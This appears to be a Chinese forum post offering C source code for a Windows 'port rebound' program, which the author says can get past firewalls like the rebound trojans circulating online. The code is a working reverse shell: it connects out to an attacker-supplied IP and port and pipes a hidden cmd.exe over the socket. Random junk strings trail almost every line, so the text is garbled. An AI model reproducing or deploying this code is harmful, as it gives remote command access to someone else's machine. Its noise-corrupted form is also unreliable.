Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 :wMZ&xERDZ  
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/* ============================== <~3@+EEM  
Rebound port in Windows NT uu HWN|  
By wind,2006/7 aXwFQ,  
===============================*/ avdi9!J2  
#include H}A67J9x  
#include CpA=DnZ  
j5AW}  
#pragma comment(lib,"wsock32.lib") 6x_8m^+m  
}V09tK/M  
void OutputShell(); a&j H9  
SOCKET sClient; ?=aQG0  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; iYFM@ta  
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void main(int argc,char **argv) N'IzHyo.  
{ ugOcK Gf  
WSADATA stWsaData; pj'Yv  
int nRet; VsFRG;:\U  
SOCKADDR_IN stSaiClient,stSaiServer; 4W6gKY  
s3oK[:/  
if(argc != 3) y/E%W/3  
{ 1_%3cN.  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5E4np`J  
return; NU81 V0:jG  
} _K'YaZTa;~  
)%P!<|s:5  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2wikk]Z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ON
g_3vD{  
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stSaiClient.sin_family = AF_INET; t '* L,  
stSaiClient.sin_port = htons(0); .-uH ax0  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kowBB0  
g\GuH?|  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <\Lii0hi!  
{ A(ql}cr  
printf("Bind Socket Failed!\n"); r3;?]r.}7  
return; <t\!g  
} Sw%^&*J  
~Cm_=[  
stSaiServer.sin_family = AF_INET; p{NVJ^!+  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0.qnbDw_  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); gM&XVhQJ\  
)$XcO]  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) \9jEpE^Ju(  
{ CN+[|Mz*p  
printf("Connect Error!"); PF~w$ eeQ  
return; Onz@A"  
} y38x^fuYJ~  
OutputShell(); _ 5nLrn,~  
} R0HzNk  
n Hz Xp:"  
void OutputShell() bW-9YXj%  
{ }Ox5,S}ra  
char szBuff[1024]; M8(N9)N  
SECURITY_ATTRIBUTES stSecurityAttributes; Z^wogIAV  
OSVERSIONINFO stOsversionInfo; ~U}0=lRVS  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e#BxlC  
STARTUPINFO stStartupInfo; [3o^06V8j  
char *szShell; m -]E|  
PROCESS_INFORMATION stProcessInformation; O4t0 VL$  
unsigned long lBytesRead; n%X5TJE  
Nz1u:D]  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); LYhjI  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 2D;2QdO  
stSecurityAttributes.lpSecurityDescriptor = 0; Klrd|;C  
stSecurityAttributes.bInheritHandle = TRUE; 1)Z4 (_  
Q!.JV.(  
Bre:_>*  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <aSjK#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x`n7D  
DXyRNE<G[C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); M$,4B  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mH6\8I  
stStartupInfo.wShowWindow = SW_HIDE; "d"6.ND  
stStartupInfo.hStdInput = hReadPipe; 0
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %/.yGAPkx  
\l-JU  
GetVersionEx(&stOsversionInfo);
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]Ub"NLYV  
switch(stOsversionInfo.dwPlatformId) gUGMoXSTI|  
{ BMi5F?Q'G  
case 1: Be;l!]i  
szShell = "command.com"; N.'-9hv  
break; L NS O]\  
default: 9KCeKT>v  
szShell = "cmd.exe"; '"C& dia  
break; me@k~!e"z  
} .VXadgM  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); adY ,Nz  
=j^>sg]  
send(sClient,szMsg,77,0); ,Jrm85oG  
while(1) hm,H3pN  
{ VW\xuP  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); thLx!t  
if(lBytesRead) N1fPutl$a
 
{ UX24*0`\~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); +k;][VC[O  
send(sClient,szBuff,lBytesRead,0); ^^
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} ]kdU]}z  
else ?Gx-q+H  
{ JuDadIrd{  
lBytesRead=recv(sClient,szBuff,1024,0); ^]k=*>{ R  
if(lBytesRead<=0) break; E>c*A40=.n  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 'i:S=E F  
} 6GMwB@ b  
} \=c@  
|-9##0H  
return; o*5b]XWw  
}